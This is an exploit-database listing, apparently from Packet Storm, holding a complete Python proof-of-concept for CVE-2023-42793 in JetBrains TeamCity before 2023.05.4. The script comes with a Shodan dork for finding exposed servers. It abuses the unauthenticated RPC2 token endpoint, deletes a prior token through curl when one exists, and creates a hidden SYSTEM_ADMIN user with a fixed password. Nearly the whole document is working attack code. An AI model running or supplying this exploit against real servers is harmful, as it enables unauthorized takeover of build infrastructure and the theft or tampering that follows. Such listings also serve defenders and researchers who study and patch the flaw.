Lucene search

K
packetstormByteHunterPACKETSTORM:177578
HistoryMar 14, 2024 - 12:00 a.m.

JetBrains TeamCity 2023.05.3 Remote Code Execution

2024-03-1400:00:00
ByteHunter
packetstormsecurity.com
132
jetbrains teamcity
remote code execution
unauthorized access
admin account creation
rpc2 token manipulation
vulnerability

AI Score

7.4

Confidence

Low

EPSS

0.971

Percentile

99.8%

`#- Exploit Title: JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE)  
#- Shodan Dork: http.title:TeamCity , http.favicon.hash:-1944119648  
#- Exploit Author: ByteHunter  
#- Vendor: JetBrains  
#- Email: [email protected]  
#- vendor: JetBrains  
#- Version: versions before 2023.05.4  
#- Tested on: 2023.05.3   
#- CVE : CVE-2023-42793   
  
import requests  
import argparse  
import re  
import random  
import string  
import subprocess   
  
  
banner = """  
=====================================================  
* CVE-2023-42793 *  
* TeamCity Admin Account Creation *   
* *  
* Author: ByteHunter *  
=====================================================  
"""  
  
print(banner)  
parser = argparse.ArgumentParser(description="CVE-2023-42793 - TeamCity JetBrains PoC")  
parser.add_argument("-u", "--url", required=True, help="Target URL")  
parser.add_argument("-v", "--verbose", action="store_true", help="verbose mode")  
args = parser.parse_args()  
  
url = args.url  
  
if url.startswith("https://"):  
curl_command = "curl -k"  
else:  
curl_command = "curl"  
  
get_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"  
delete_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"  
create_user_url = f"{url}/app/rest/users"  
  
create_user_command = ""  
token = ""  
  
response = requests.post(get_token_url, verify=False)  
if response.status_code == 200:  
match = re.search(r'value="([^"]+)"', response.text)  
if match:  
token = match.group(1)  
print(f"Token: {token}")   
else:  
print("Token not found in the response")  
  
elif response.status_code == 404:  
print("Token already exists")  
delete_command = f'{curl_command} -X DELETE {delete_token_url}'  
delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)  
delete_process.wait()  
delete_output = delete_process.communicate()  
if delete_process.returncode == 0:  
print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")  
else:  
print("Failed to delete the previous token")  
elif response.status_code == 400:  
print("Token already exists")  
delete_command = f'{curl_command} -X DELETE {delete_token_url}'  
delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)  
delete_process.wait()  
delete_output = delete_process.communicate()  
if delete_process.returncode == 0:  
print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")  
else:  
print("Failed to delete the previous token")  
else:  
print("Failed to get a token")  
  
if token:  
headers = {  
"Authorization": f"Bearer {token}",  
"Content-Type": "application/json"  
}  
random_chars = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(4))  
username = f"city_admin{random_chars}"  
data = {  
"username": username,  
"password": "Main_password!!**",  
"email": "[email protected]",  
"roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}  
}  
create_user_command = f'{curl_command} --path-as-is -H "Authorization: Bearer {token}" -X POST {create_user_url} -H "Content-Type: application/json" --data \'{{"username": "{username}", "password": "theSecretPass!", "email": "nest@nest", "roles": {{"role": [{{"roleId": "SYSTEM_ADMIN", "scope": "g"}}]}}}}\''  
create_user_response = requests.post(create_user_url, headers=headers, json=data)  
if create_user_response.status_code == 200:  
print("Successfully exploited!")  
print(f"URL: {url}")  
print(f"Username: {username}")  
print("Password: Main_password!!**")  
else:  
print("Failed to create new admin user")  
  
if args.verbose:  
if response.status_code == 400:  
pass  
else:  
print(f"Final curl command: {create_user_command}")  
  
  
`